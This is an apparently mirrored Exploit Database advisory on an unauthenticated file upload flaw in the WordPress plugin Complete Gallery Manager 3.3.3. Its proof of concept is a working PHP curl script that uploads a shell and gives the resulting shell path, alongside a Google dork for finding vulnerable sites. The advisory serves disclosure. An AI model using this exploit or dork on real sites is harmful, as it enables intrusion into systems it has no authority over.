WordPress Plugin Complete Gallery Manager 3.3.3 – Arbitrary File Upload

• Exploit Database
• 110 阅读

• 作者： Vulnerability-Lab
  日期： 2013-09-18
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/28377/
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  Title: ====== Wordpress Plugin Complete Gallery Manager 3.3.3 - Arbitrary File Upload Vulnerability     Date: ===== 2013-09-17     References: =========== http://www.vulnerability-lab.com/get_content.php?id=1080     VL-ID: ===== 1080     Common Vulnerability Scoring System: ==================================== 6.6     Introduction: ============= Using Complete Gallery Manager will make it fun and fast to manage and create galleries for your website. The plugin enables a wealth of functionality, but just because you can take advantage of its many features, doesn’t mean you necessarily should. For each feature you implement you should consider the benefit for your users. Don’t make the interface more complex than necessary. Less is more!   We have made it very easy for you to customize basically anything you can imagine. The Isotype Gallery has 188 different settings you can tweak and the Touch Slider has 146 different settings.   (Copy of the Vendor Homepage: http://codecanyon.net/item/complete-gallery-manager-for-wordpress/2418606 )     Abstract: ========= An independent Vulnerability Laboratory Researcher discovered a arbitrary file upload vulnerability in the WordPress Complete Gallery Manager v3.3.3 plugin.     Report-Timeline: ================ 2013-09-17:Public Disclosure (Fuad Pilus)     Status: ======== Published     Affected Products: ================== CodeCanyon Product: Complete Gallery Manager 3.3.3     Exploitation-Technique: ======================= Remote     Severity: ========= High     Details: ======== A arbitrary file upload web vulnerability is detected in the CodeCanyon WordPress Plugin Complete Gallery Manager v3.3.3 Web-Application. The vulnerability allows remote attackers to upload files via POST method with multiple extensions to unauthorized access them on application-side of the service.   The vulnerability is located in the /plugins/complete-gallery-manager/frames/ path when processing to upload via theupload-images.php file own malicious context or webshells. After the upload the remote attacker can access the file with one extension and exchange it with the other one to execute for example php codes.   Exploitation of the vulnerability requires no user interaction and also without privilege application user account (no password standard). Successful exploitation of the vulnerability results in unauthorized path or file access via local file include or arbitrary file upload.   Vulnerable Application(s): [+] CodeCanyon - Complete Gallery Manager   Vulnerable Module(s): [+] Image File Upload   Vulnerable File(s): [+] upload-images.php   Affected Module(s): [+] Application Index Listing (http://localhost:8000/)     Proof of Concept: ================= The arbitrary file upload web vulnerability can be exploited by remote attackers without user interaction or privileged application user account. For demonstration or reproduce ...   Vuln page : http://wordpress.localhost:8080/wordpress/wp-content/plugins/complete-gallery-manager/frames/upload-images.php   Exploit :   <?php $uploadfile="up.php"; $ch = curl_init("http://wordpress.localhost:8080/wordpress/wp-content/plugins/complete-gallery-manager/frames/upload-images.php"); curl_setopt($ch, CURLOPT_POST, true); curl_setopt($ch, CURLOPT_POSTFIELDS, array(&apos;qqfile&apos;=>"@$uploadfile")); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); $postResult = curl_exec($ch); curl_close($ch); print "$postResult";   ?>   Shell Upload Access Path : http://wordpress.localhost:8080/wp-content/2013/09/up.php   Google Dork: allinurl:/wp-content/plugins/complete-gallery-manager/   Reference(s): http://xxx.com/wp-content/plugins/complete-gallery-manager/frames/upload-images.php http://www.xxx.com/wp-content/plugins/complete-gallery-manager/frames/upload-images.php http://xxx.org/wp-content/plugins/complete-gallery-manager/frames/upload-images.php     Risk: ===== The security risk of the arbitrary file upload web vulnerability is estimated as high(+).     Credits: ======== Independent Vulnerability Researcher - Fuad Pilus (codernime@gmail.com) Greetz to : Code Newbie Team - Malaysia & Indonesia BlackHat Byakuya | Cai | Lord Router | Ops Msia Bersatu | Clound | Agam | Encik Linux | X-Tuned and all official Code-Newbie Member     Disclaimer: =========== either expressed or implied, including the warranties of merchantability and capability for a particular purpose. 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